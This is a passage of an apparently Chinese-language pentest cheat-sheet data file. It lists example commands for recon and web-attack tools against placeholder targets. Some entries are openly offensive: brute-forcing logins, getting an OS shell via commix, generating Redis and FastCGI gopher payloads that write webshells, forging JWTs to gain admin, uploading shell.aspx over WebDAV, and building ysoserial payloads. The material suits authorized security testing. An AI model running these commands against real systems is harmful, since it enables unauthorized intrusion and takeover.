        "command": "wfuzz -c -w wordlist.txt --hc 404 http://target.com/FUZZ",
        "description": "过滤404响应",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "wfuzz -c -w wordlist.txt -d \"user=FUZZ&pass=test\" http://target.com/login",
        "description": "POST数据测试",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "wfuzz -c -w wordlist.txt -b \"session=FUZZ\" http://target.com/",
        "description": "Cookie模糊测试",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "wfuzz -c -w wordlist.txt -H \"Host: FUZZ.target.com\" http://target.com/",
        "description": "Host头测试",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "wfuzz -c -w wordlist.txt -R 2 http://target.com/FUZZ",
        "description": "递归扫描",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "amass-tool",
    "name": "Amass",
    "description": "子域名枚举工具",
    "category": "信息收集",
    "tags": [],
    "commands": [
      {
        "command": "amass enum -d target.com",
        "description": "枚举子域名",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "amass enum -passive -d target.com",
        "description": "被动信息收集",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "amass enum -active -d target.com",
        "description": "主动信息收集",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "amass enum -brute -d target.com -w wordlist.txt",
        "description": "暴力破解子域名",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "amass enum -d target.com -o output.txt",
        "description": "保存枚举结果",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "subfinder-tool",
    "name": "Subfinder",
    "description": "子域名发现工具",
    "category": "信息收集",
    "tags": [],
    "commands": [
      {
        "command": "subfinder -d target.com",
        "description": "枚举子域名",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "subfinder -d target.com -recursive",
        "description": "递归枚举",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "subfinder -d target.com -o output.txt",
        "description": "保存结果",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "subfinder -d target.com -json -o output.json",
        "description": "JSON格式输出",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "subfinder -dL domains.txt",
        "description": "批量处理域名",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "httpx-tool",
    "name": "HTTPX",
    "description": "HTTP探测工具",
    "category": "信息收集",
    "tags": [],
    "commands": [
      {
        "command": "cat urls.txt | httpx",
        "description": "探测HTTP服务",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "cat urls.txt | httpx -title -status-code",
        "description": "获取页面标题和状态码",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "cat urls.txt | httpx -screenshot",
        "description": "网页截图",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "cat urls.txt | httpx -tech-detect",
        "description": "技术栈识别",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "cat urls.txt | httpx -o output.txt",
        "description": "保存结果",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "masscan",
    "name": "Masscan",
    "description": "最快的互联网端口扫描器，可在5分钟内扫描整个互联网",
    "category": "信息收集",
    "tags": [],
    "commands": [
      {
        "command": "masscan -p1-65535 target_ip --rate=1000",
        "description": "以每秒1000包的速率扫描目标所有端口",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "masscan",
            "explanation": "高速端口扫描器",
            "type": "command"
          },
          {
            "part": "-p1-65535",
            "explanation": "扫描全部65535个端口",
            "type": "parameter"
          },
          {
            "part": "--rate=1000",
            "explanation": "每秒发送1000个数据包",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "masscan -p80,443,8080,8443,3306,6379,27017 target_ip/24 --rate=500",
        "description": "扫描常用Web和数据库端口",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "masscan -p1-65535 target_ip --rate=1000 -oJ result.json\nmasscan -p1-65535 target_ip --rate=1000 -oX result.xml\nmasscan -p1-65535 target_ip --rate=1000 -oG result.grep",
        "description": "支持JSON/XML/Grepable格式输出",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "masscan -p1-65535 10.0.0.0/8 --rate=10000 -e eth0 --excludefile exclude.txt",
        "description": "指定网卡并排除特定IP范围",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "masscan -p80,443 target_ip/24 --banners --rate=500",
        "description": "获取服务Banner信息",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "dirsearch",
    "name": "Dirsearch",
    "description": "高级Web目录和文件暴力破解工具",
    "category": "信息收集",
    "tags": [],
    "commands": [
      {
        "command": "dirsearch -u https://target.com -e php,asp,aspx,jsp,html,js",
        "description": "扫描指定扩展名的目录和文件",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "-u",
            "explanation": "目标URL",
            "type": "parameter"
          },
          {
            "part": "-e",
            "explanation": "指定扫描的文件扩展名",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "dirsearch -u https://target.com -w /usr/share/wordlists/dirb/big.txt --delay=0.5",
        "description": "使用自定义字典并设置请求延迟",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "dirsearch -u https://target.com -e php -r -R 3 --exclude-status=403,404",
        "description": "递归扫描3层深度，排除403/404",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "dirsearch -u https://target.com -t 20 --cookie=\"session=abc123\" -H \"Authorization: Bearer token\"",
        "description": "20线程并发，携带认证信息",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "dirsearch -u https://target.com -o result.json --format=json",
        "description": "输出JSON格式结果",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "feroxbuster",
    "name": "FeroxBuster",
    "description": "用Rust编写的高性能递归目录发现工具",
    "category": "信息收集",
    "tags": [],
    "commands": [
      {
        "command": "feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt",
        "description": "使用SecLists字典扫描目录",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "feroxbuster",
            "explanation": "Rust编写的高速目录枚举工具",
            "type": "command"
          },
          {
            "part": "-u",
            "explanation": "目标URL",
            "type": "parameter"
          },
          {
            "part": "-w",
            "explanation": "字典文件路径",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "feroxbuster -u https://target.com -d 3 -C 403,404,500 -x php,asp,html --rate-limit 50",
        "description": "递归3层，过滤状态码，限制速率",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "feroxbuster -u https://target.com -H \"Cookie: session=abc\" -H \"Authorization: Bearer xxx\" -t 30",
        "description": "携带认证头，30线程并发",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "feroxbuster -u https://target.com --auto-tune --smart",
        "description": "自动调整请求速率和过滤条件",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "massdns",
    "name": "MassDNS",
    "description": "高性能DNS解析器，用于子域名暴力枚举",
    "category": "信息收集",
    "tags": [],
    "commands": [
      {
        "command": "massdns -r resolvers.txt -t A -o S -w results.txt subdomains.txt",
        "description": "使用字典文件解析子域名",
        "platform": "linux",
        "syntaxBreakdown": [
          {
            "part": "-r resolvers.txt",
            "explanation": "DNS解析器列表",
            "type": "parameter"
          },
          {
            "part": "-t A",
            "explanation": "查询A记录",
            "type": "parameter"
          },
          {
            "part": "-o S",
            "explanation": "简洁输出模式",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "cat subdomains.txt | sed \"s/$/.target.com/\" > full_subs.txt\nmassdns -r resolvers.txt -t A -o J full_subs.txt > results.json",
        "description": "批量生成子域名并JSON格式输出",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "massdns -r resolvers.txt -t A -o S -w output.txt --hashmap-size 10000 -s 10000 subs.txt",
        "description": "设置并发数和哈希表大小提高性能",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "amass",
    "name": "Amass",
    "description": "OWASP出品的深度攻击面映射和资产发现工具",
    "category": "信息收集",
    "tags": [],
    "commands": [
      {
        "command": "amass enum -passive -d target.com -o results.txt",
        "description": "仅使用被动数据源枚举子域名",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "enum",
            "explanation": "枚举模式",
            "type": "command"
          },
          {
            "part": "-passive",
            "explanation": "仅被动收集(不发送请求)",
            "type": "parameter"
          },
          {
            "part": "-d",
            "explanation": "目标域名",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "amass enum -active -d target.com -brute -w /usr/share/amass/wordlists/subdomains-top1mil.txt",
        "description": "主动DNS枚举+字典暴力破解",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "amass intel -d target.com -whois\namass intel -org \"Target Corp\" -max-dns-queries 2500",
        "description": "收集WHOIS和组织相关域名情报",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "amass viz -d3 -d target.com\namass db -show -d target.com",
        "description": "生成D3.js可视化图表和查看历史数据",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "subfinder",
    "name": "Subfinder",
    "description": "被动子域名发现工具，支持多种在线数据源",
    "category": "信息收集",
    "tags": [],
    "commands": [
      {
        "command": "subfinder -d target.com -o subs.txt",
        "description": "枚举子域名并输出到文件",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "subfinder",
            "explanation": "被动子域名枚举工具",
            "type": "command"
          },
          {
            "part": "-d",
            "explanation": "目标域名",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "subfinder -d target.com -recursive -all -o subs.txt",
        "description": "使用所有数据源递归枚举",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "subfinder -d target.com -silent | httpx -silent -status-code -title",
        "description": "与httpx联动探测存活子域名",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "subfinder -dL domains.txt -o all_subs.txt -t 30",
        "description": "从文件读取多个域名批量枚举",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "httpx",
    "name": "HTTPX",
    "description": "快速多功能HTTP探针工具，用于批量探测Web服务",
    "category": "信息收集",
    "tags": [],
    "commands": [
      {
        "command": "httpx -l urls.txt -status-code -title -tech-detect -o alive.txt",
        "description": "批量探测URL存活状态、标题和技术栈",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "-status-code",
            "explanation": "显示HTTP状态码",
            "type": "parameter"
          },
          {
            "part": "-title",
            "explanation": "提取页面标题",
            "type": "parameter"
          },
          {
            "part": "-tech-detect",
            "explanation": "识别Web技术栈",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "httpx -l urls.txt -screenshot -favicon -hash md5 -jarm",
        "description": "截图、提取favicon哈希和JARM指纹",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "cat subs.txt | httpx -silent -mc 200,301,302 -content-length -web-server",
        "description": "过滤指定状态码并显示服务器信息",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "httpx -l urls.txt -path \"/api/v1/health,/admin,/.env,/robots.txt\" -mc 200",
        "description": "批量探测指定路径",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "whatweb",
    "name": "WhatWeb",
    "description": "Web指纹识别工具，识别网站使用的技术栈",
    "category": "信息收集",
    "tags": [],
    "commands": [
      {
        "command": "whatweb https://target.com",
        "description": "识别目标网站技术栈",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "whatweb",
            "explanation": "Web技术指纹识别工具",
            "type": "command"
          }
        ]
      },
      {
        "command": "whatweb -v https://target.com -a 3",
        "description": "详细输出，攻击等级3(更深度探测)",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "whatweb --input-file=urls.txt --log-json=results.json",
        "description": "从文件读取URL批量扫描",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "whatweb --info-plugins\nwhatweb -p WordPress,Joomla,Drupal https://target.com",
        "description": "列出或指定使用特定插件",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "wafw00f",
    "name": "WAFW00F",
    "description": "Web应用防火墙(WAF)检测和指纹识别工具",
    "category": "信息收集",
    "tags": [],
    "commands": [
      {
        "command": "wafw00f https://target.com",
        "description": "检测目标是否部署WAF及WAF类型",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "wafw00f",
            "explanation": "WAF指纹识别工具",
            "type": "command"
          }
        ]
      },
      {
        "command": "wafw00f https://target.com -v -a",
        "description": "详细模式，测试所有WAF签名",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "wafw00f -i urls.txt -o results.csv",
        "description": "批量检测多个URL",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "wafw00f -l",
        "description": "列出所有可识别的WAF产品",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "dnsrecon",
    "name": "DNSRecon",
    "description": "DNS枚举和信息收集工具",
    "category": "信息收集",
    "tags": [],
    "commands": [
      {
        "command": "dnsrecon -d target.com -t std",
        "description": "标准DNS记录枚举(SOA/NS/A/MX/TXT等)",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "-d",
            "explanation": "目标域名",
            "type": "parameter"
          },
          {
            "part": "-t std",
            "explanation": "标准记录枚举类型",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "dnsrecon -d target.com -t axfr",
        "description": "尝试DNS区域传送",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "dnsrecon -d target.com -t brt -D /usr/share/wordlists/subdomains.txt",
        "description": "使用字典暴力枚举子域名",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "dnsrecon -r 192.168.1.0/24 -t rvl",
        "description": "对IP段进行反向DNS查询",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "dnsenum",
    "name": "DNSEnum",
    "description": "DNS信息收集工具，支持区域传送和子域名枚举",
    "category": "信息收集",
    "tags": [],
    "commands": [
      {
        "command": "dnsenum target.com",
        "description": "枚举DNS信息(NS/MX/A/区域传送等)",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "dnsenum --enum -f /usr/share/dnsenum/dns.txt --threads 10 target.com",
        "description": "使用字典暴力枚举子域名",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "dnsenum --dnsserver 8.8.8.8 target.com",
        "description": "指定DNS服务器进行枚举",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "theharvester",
    "name": "theHarvester",
    "description": "邮箱、子域名、IP等OSINT信息收集工具",
    "category": "信息收集",
    "tags": [],
    "commands": [
      {
        "command": "theHarvester -d target.com -b all -l 500",
        "description": "使用所有数据源收集信息",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "-d",
            "explanation": "目标域名",
            "type": "parameter"
          },
          {
            "part": "-b all",
            "explanation": "使用所有可用数据源",
            "type": "parameter"
          },
          {
            "part": "-l 500",
            "explanation": "最大结果数",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "theHarvester -d target.com -b google,bing,linkedin,shodan",
        "description": "使用指定数据源搜集",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "theHarvester -d target.com -b all -f report.html",
        "description": "生成HTML格式报告",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "nikto",
    "name": "Nikto",
    "description": "Web服务器漏洞扫描器，检测危险文件、过时组件和配置问题",
    "category": "Web渗透",
    "tags": [],
    "commands": [
      {
        "command": "nikto -h https://target.com",
        "description": "对目标进行全面Web漏洞扫描",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "nikto",
            "explanation": "Web服务器漏洞扫描器",
            "type": "command"
          },
          {
            "part": "-h",
            "explanation": "目标主机",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "nikto -h target.com -p 8443 -ssl",
        "description": "扫描HTTPS服务",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "nikto -h target.com -useproxy http://127.0.0.1:8080",
        "description": "通过Burp代理进行扫描",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "nikto -h target.com -Plugins \"apache_expect_xss;outdated\"",
        "description": "仅运行指定的测试插件",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "nikto -h target.com -o report.html -Format htm",
        "description": "输出HTML格式报告",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "zap",
    "name": "OWASP ZAP",
    "description": "OWASP官方Web应用安全测试平台",
    "category": "Web渗透",
    "tags": [],
    "commands": [
      {
        "command": "zap-cli quick-scan -s all -r https://target.com\n# 或使用API\ncurl \"http://localhost:8080/JSON/ascan/action/scan/?url=https://target.com\"",
        "description": "快速自动化漏洞扫描",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "zap-api-scan.py -t https://target.com/api/swagger.json -f openapi",
        "description": "根据OpenAPI规范扫描API",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# 配置ZAP为代理(默认8080端口)\n# 浏览器配置代理后正常浏览\n# ZAP自动进行被动漏洞检测",
        "description": "代理模式被动扫描",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "docker run -t ghcr.io/zaproxy/zaproxy zap-baseline.py -t https://target.com -r report.html",
        "description": "使用Docker容器化运行基线扫描",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "arjun",
    "name": "Arjun",
    "description": "HTTP参数发现工具，发现隐藏的GET/POST参数",
    "category": "Web渗透",
    "tags": [],
    "commands": [
      {
        "command": "arjun -u https://target.com/page",
        "description": "发现隐藏的GET参数",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "arjun",
            "explanation": "HTTP参数发现工具",
            "type": "command"
          },
          {
            "part": "-u",
            "explanation": "目标URL",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "arjun -u https://target.com/api -m POST --include=\"Content-Type: application/json\"",
        "description": "发现POST请求的隐藏参数",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "arjun -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt",
        "description": "使用自定义参数字典",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "arjun -i urls.txt -o results.json --stable",
        "description": "批量扫描多个URL，稳定模式",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "wfuzz",
    "name": "WFuzz",
    "description": "Web应用模糊测试工具，用于暴力破解参数、目录、认证等",
    "category": "Web渗透",
    "tags": [],
    "commands": [
      {
        "command": "wfuzz -c -z file,/usr/share/wordlists/dirb/big.txt --hc 404 https://target.com/FUZZ",
        "description": "目录暴力破解，隐藏404",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "-c",
            "explanation": "彩色输出",
            "type": "parameter"
          },
          {
            "part": "-z file,wordlist",
            "explanation": "指定字典文件作为payload",
            "type": "parameter"
          },
          {
            "part": "--hc 404",
            "explanation": "隐藏404响应",
            "type": "parameter"
          },
          {
            "part": "FUZZ",
            "explanation": "Payload注入点占位符",
            "type": "variable"
          }
        ]
      },
      {
        "command": "wfuzz -c -z file,params.txt --hh 0 \"https://target.com/api?FUZZ=test\"",
        "description": "参数名Fuzz，隐藏空响应",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "wfuzz -c -z file,users.txt -z file,passwords.txt --hc 403 -d \"user=FUZZ&pass=FUZ2Z\" https://target.com/login",
        "description": "双字典组合爆破登录",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "wfuzz -c -z file,subs.txt --hc 404 -H \"Host: FUZZ.target.com\" https://target.com",
        "description": "Host头注入方式枚举子域名",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "commix",
    "name": "Commix",
    "description": "自动化命令注入漏洞检测和利用工具",
    "category": "Web渗透",
    "tags": [],
    "commands": [
      {
        "command": "commix --url=\"https://target.com/page?cmd=test\"",
        "description": "自动检测命令注入点",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "commix",
            "explanation": "命令注入自动化工具",
            "type": "command"
          },
          {
            "part": "--url",
            "explanation": "目标URL(参数中含注入点)",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "commix --url=\"https://target.com/api\" --data=\"host=INJECT_HERE\" -p host",
        "description": "指定POST参数进行注入测试",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "commix --url=\"https://target.com/page?ip=test\" --os-cmd=\"id\"\ncommix --url=\"https://target.com/page?ip=test\" --os-shell",
        "description": "执行系统命令或获取交互式Shell",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "commix --url=\"https://target.com/page?cmd=test\" --tamper=base64encode --technique=t",
        "description": "使用编码绕过和时间盲注技术",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "dalfox",
    "name": "Dalfox",
    "description": "基于Go的高性能XSS漏洞扫描和参数分析工具",
    "category": "Web渗透",
    "tags": [],
    "commands": [
      {
        "command": "dalfox url \"https://target.com/search?q=test\"",
        "description": "扫描单个URL的XSS漏洞",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "dalfox",
            "explanation": "XSS漏洞扫描工具",
            "type": "command"
          },
          {
            "part": "url",
            "explanation": "单URL扫描模式",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "cat urls.txt | dalfox pipe --silence --only-poc",
        "description": "批量扫描，仅输出POC",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "dalfox url \"https://target.com/q=test\" --custom-payload payloads.txt --waf-evasion",
        "description": "使用自定义Payload并启用WAF绕过",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "dalfox url \"https://target.com/q=test\" --blind https://your-xss-hunter.com",
        "description": "使用Blind XSS回调检测",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "xsstrike",
    "name": "XSStrike",
    "description": "高级XSS检测工具，支持反射/存储/DOM型XSS检测",
    "category": "Web渗透",
    "tags": [],
    "commands": [
      {
        "command": "python3 xsstrike.py -u \"https://target.com/search?q=test\"",
        "description": "扫描反射型XSS",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "python3 xsstrike.py -u \"https://target.com/comment\" --data \"content=test\" --method POST",
        "description": "测试POST参数的XSS",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "python3 xsstrike.py -u \"https://target.com/q=test\" --fuzzer",
        "description": "使用模糊测试模式发现过滤规则",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "python3 xsstrike.py -u \"https://target.com\" --crawl -l 3",
        "description": "爬取3层深度的所有页面并测试XSS",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "gopherus",
    "name": "Gopherus",
    "description": "生成Gopher协议Payload，用于SSRF攻击内部服务",
    "category": "Web渗透",
    "tags": [],
    "commands": [
      {
        "command": "python2 gopherus.py --exploit mysql\n# 输入SQL查询语句后生成gopher://payload",
        "description": "生成攻击MySQL的Gopher Payload",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "--exploit mysql",
            "explanation": "指定目标服务类型",
            "type": "parameter"
          }
        ]
      },
      {
        "command": "python2 gopherus.py --exploit redis\n# 可生成写入webshell/计划任务/SSH密钥等payload",
        "description": "生成攻击Redis的Gopher Payload",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "python2 gopherus.py --exploit fastcgi\n# 输入要执行的命令",
        "description": "生成攻击PHP-FPM/FastCGI的Payload",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "python2 gopherus.py --exploit smtp",
        "description": "生成通过SMTP发送邮件的Payload",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "smuggler",
    "name": "Smuggler",
    "description": "HTTP请求走私漏洞检测工具",
    "category": "Web渗透",
    "tags": [],
    "commands": [
      {
        "command": "python3 smuggler.py -u https://target.com",
        "description": "自动检测HTTP请求走私漏洞",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "smuggler.py",
            "explanation": "HTTP走私检测脚本",
            "type": "command"
          }
        ]
      },
      {
        "command": "python3 smuggler.py -u https://target.com -t CL.TE",
        "description": "测试CL.TE类型的请求走私",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "cat urls.txt | python3 smuggler.py",
        "description": "从标准输入读取URL批量测试",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "jwt-tool",
    "name": "JWT Tool",
    "description": "JSON Web Token安全测试工具，支持伪造/破解/注入",
    "category": "Web渗透",
    "tags": [],
    "commands": [
      {
        "command": "jwt_tool eyJhbGciOi...",
        "description": "解析并显示JWT的Header和Payload",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "jwt_tool",
            "explanation": "JWT安全测试工具",
            "type": "command"
          }
        ]
      },
      {
        "command": "jwt_tool -t https://target.com/api -rh \"Authorization: Bearer eyJ...\" -M at",
        "description": "自动尝试所有已知JWT攻击",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "jwt_tool eyJhbGciOi... -X a",
        "description": "尝试将算法改为none绕过验证",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "jwt_tool eyJhbGciOi... -C -d /usr/share/wordlists/rockyou.txt",
        "description": "暴力破解HMAC密钥",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "jwt_tool eyJhbGciOi... -S hs256 -p \"secret_key\" -I -pc role -pv admin",
        "description": "使用已知密钥伪造Token，修改角色为admin",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "graphqlmap",
    "name": "GraphQLmap",
    "description": "GraphQL API渗透测试工具，支持自省查询和注入",
    "category": "Web渗透",
    "tags": [],
    "commands": [
      {
        "command": "python3 graphqlmap.py -u https://target.com/graphql --method POST -x dump_schema",
        "description": "通过自省查询导出完整Schema",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "python3 graphqlmap.py -u https://target.com/graphql --method POST -x enum",
        "description": "枚举所有可用的Query/Mutation字段",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "python3 graphqlmap.py -u https://target.com/graphql --method POST -x nosqli",
        "description": "测试GraphQL参数的注入漏洞",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "cadaver",
    "name": "Cadaver",
    "description": "WebDAV客户端工具，用于测试WebDAV服务",
    "category": "Web渗透",
    "tags": [],
    "commands": [
      {
        "command": "cadaver https://target.com/webdav/",
        "description": "连接到WebDAV服务器",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "# 在cadaver交互式Shell中:\nput shell.aspx\nmput *.txt",
        "description": "上传Webshell或文件到WebDAV目录",
        "platform": "linux",
        "syntaxBreakdown": []
      },
      {
        "command": "# cadaver Shell:\nls\nget config.xml\nmget *.bak",
        "description": "列出目录内容并下载文件",
        "platform": "linux",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "searchsploit",
    "name": "Searchsploit",
    "description": "Exploit-DB本地搜索工具，离线查找漏洞利用代码",
    "category": "漏洞利用",
    "tags": [],
    "commands": [
      {
        "command": "searchsploit apache 2.4\nsearchsploit wordpress 5.0",
        "description": "按关键词搜索漏洞利用",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "searchsploit",
            "explanation": "Exploit-DB本地搜索工具",
            "type": "command"
          }
        ]
      },
      {
        "command": "searchsploit -e \"Apache Tomcat\"\nsearchsploit --exclude=\"dos\" windows smb",
        "description": "精确匹配和排除关键词",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "searchsploit -m 44228\nsearchsploit -p 44228",
        "description": "复制exploit到当前目录或显示路径",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "searchsploit -j apache | jq \".RESULTS_EXPLOIT[]\"",
        "description": "JSON格式输出便于脚本处理",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "exploitdb",
    "name": "ExploitDB",
    "description": "漏洞利用代码数据库在线搜索",
    "category": "漏洞利用",
    "tags": [],
    "commands": [
      {
        "command": "# 访问 https://www.exploit-db.com\n# 搜索框输入: Apache Struts\n# 或使用Google Dork:\nsite:exploit-db.com \"Apache Struts\" RCE",
        "description": "在线搜索漏洞利用代码",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "curl \"https://www.exploit-db.com/search?q=wordpress+5.0\" -H \"X-Requested-With: XMLHttpRequest\"",
        "description": "通过API搜索(需要合适的请求头)",
        "platform": "all",
        "syntaxBreakdown": []
      },
      {
        "command": "# ExploitDB收录的Google Dorks:\nhttps://www.exploit-db.com/google-hacking-database\n# 搜索泄露的配置文件、数据库等",
        "description": "使用ExploitDB的Google Hacking数据库",
        "platform": "all",
        "syntaxBreakdown": []
      }
    ]
  },
  {
    "id": "ysoserial",
    "name": "ysoserial",
    "description": "Java反序列化漏洞利用Payload生成工具",
    "category": "漏洞利用",
    "tags": [],
    "commands": [
      {
        "command": "java -jar ysoserial.jar CommonsCollections1 \"id\" | base64\njava -jar ysoserial.jar CommonsCollections5 \"whoami\" > payload.bin",
        "description": "使用指定Gadget Chain生成反序列化Payload",
        "platform": "all",
        "syntaxBreakdown": [
          {
            "part": "CommonsCollections1",
